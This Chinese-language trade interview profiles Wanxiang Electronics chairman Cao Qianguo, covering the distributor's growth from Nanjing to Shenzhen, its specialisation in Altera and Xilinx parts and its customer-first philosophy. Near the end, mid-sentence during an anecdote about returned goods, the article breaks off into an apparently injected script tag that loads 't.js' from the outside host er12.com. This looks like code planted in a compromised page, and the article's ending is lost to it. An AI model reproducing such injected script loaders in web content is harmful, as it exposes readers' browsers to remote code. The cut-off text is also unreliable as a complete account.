万象电子曹乾国:服务客户为企业之本

“客户是企业利润的源泉,是企业发展的原动力,拥有客户,并长久地保持客户增长率,就是企业生存发展的支点。”深圳市万象实业有限公司(万象电子)董事长曹乾国先生如是认为。

  把客户视为企业生存发展之根本,多年来一如既往的坚持服务于国内的电子工程师,这是万象电子成立以来一贯坚持的原则。

  万象电子其实在电子元器件分销领域算是老资格了,尽管她入驻深圳的时间仅三个年头。曹先生告诉记者,万象电子的“老家”在南京,成立于1992年,万象成立已经有整整13年。

  谈起万象的成长,曹先生颇富感情,万象就跟他的孩子一样,由他一手抚养大。“刚起步的时候,我们(万象)只是一个小铺面,规模不大,主要做些线缆、接插件等。直到96年,才开始转做ic类产品;到99年,我们(万象)在南京就已经有一定的规模了,知名度影响力大大增强,特别是74、40系列产品,在南京市场已经有非常好的口碑,那时熊猫、南瑞集团这样的大客户也被我们攻关。”

  一个孩子长大了,父母总希望他能走出去,开创更大更美的一片天地。当万象在内地市场已经打开局面, 企业急需进一步扩大发展的时候,曹乾国先生看准了深圳这个全国电子元器件集散地。2002年,万象总部由南京迁到了深圳,还相继在北京、上海成立了直属分公司。

  万象就这样一步步走了出来,企业规模越来越大,市场占有率也越来越高。今年,万象在广州、杭州、西安成立的分公司在7月份到10月份之间也会相继完成。

  当一个企业由2、3个人到10来个人再到100多名正式员工,由一个几万块起家的小店面发展成为在全国各大中城市都拥有自己的分支机构的大中型企业,固定客户上千家,这背后一定是有故事的,其成功的经验也是记者想挖掘的。

  然而,对此,曹乾国先生却只是一笑带过:“我们还谈不上成功,我们才刚刚走上良性发展之路。如果非得说万象有什么经验之谈的话,那就是我们一贯重视客户的利益,把电子工程师的需求摆在第一位。”

  为了让国内的电子工程师充分认识万象电子,了解万象经营的产品,万象在《国际电子商情》、《电子产品世界》、《单片机与嵌入式系统应用》等国内权威的杂志上投入了大量的广告,曹乾国先生告诉记者,今年万象在广告投入上将超过100万元人民币。

  万象电子的目标是做中国最好的专业的单片机与嵌入式系统元器件供应商,秉承着这一目标,万象努力做到其产品种类齐全:经营issi、idt、 adi、ti- bb、motorola、philips、nec、toshiba、samsung、intel等10多个品牌,提供单片机片上系统、可编程逻辑器件、存储器以及通讯网络接口器件。

  更重要的是,万象还将“术业有专攻”运用得炉火纯青。曹乾国先生告诉记者,多年来的经营,万象一直在分析客户的不同需求,最后锁定了altera、xilinx两个品牌,做这两个世界领先的可编程逻辑器件品牌的专业分销商。如今,在可编程逻辑器件的产品线上,万象已经极具优势。一方面,跟原厂多年的友好关系保证了供货的通畅,价格的最优;而另外一方面,市场上对altera、xilinx这两个品牌的有长期需求的客户,万象也牢牢抓在了自己手里。

  万象不仅仅在产品上拥有自己的优势,在锁定固定的客户群上,万象也有了自己的一套好方法,曹先生说:“市场竞争非常激烈,我们不可能对10多个品牌都做精做专,虽然这是我们的目标。所以,在现阶段,我们只有集中自己的优势,把握客户需求,做精做专altera、xilinx这两个品牌,重点把握这两个品牌对应的客户。”目前,万象的固定客户已经不下于1000家。

  在“把握客户”上,万象是成功的。谈到此,曹乾国先生却十分感性的说:“听到客户的一次赞扬真的很不容易,我们的追求就是‘常听到客户的赞扬’。”

  “怎么样对待客户大家都能说出一套一套,产品质量有保证啊,价格有优势啊,服务非常到位啊,讲诚信守信誉啊等等,这些都是把握客户的先决条件,关键是能不能坚持长期做到,在这点上‘坚持’太重要了。”

  曹乾国介绍说,在电子元器件生意中,不是所有的货物都不出问题,也不是货物出完之后就万事大吉。有时候货发出去之后,客户将货款也付给你了,如果客户那边出了问题,是不是你就可以不用管了呢?肯定不是。因为业务是一直做下去的,客户那边有问题,他对他的用户或消费者就交不了差,你能袖手旁观吗?当产品出现问题之后怎么处理就是维护自己信誉的关键时候。所以只要不是一锤子买卖,你就得给他解决。如果处理不好,就会影响你的信誉。

  就在记者采访的前几天,万象还收到一批“退货”,客户只称货拿回去工程师用不了,得退,也没有任何其他更充分的退货理由。当时万象考虑到几个因素:首先对方是老客户,客户关系得维护好;再者,这批货如果有问题,完全可以拿回原厂解决,没有问题的话?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态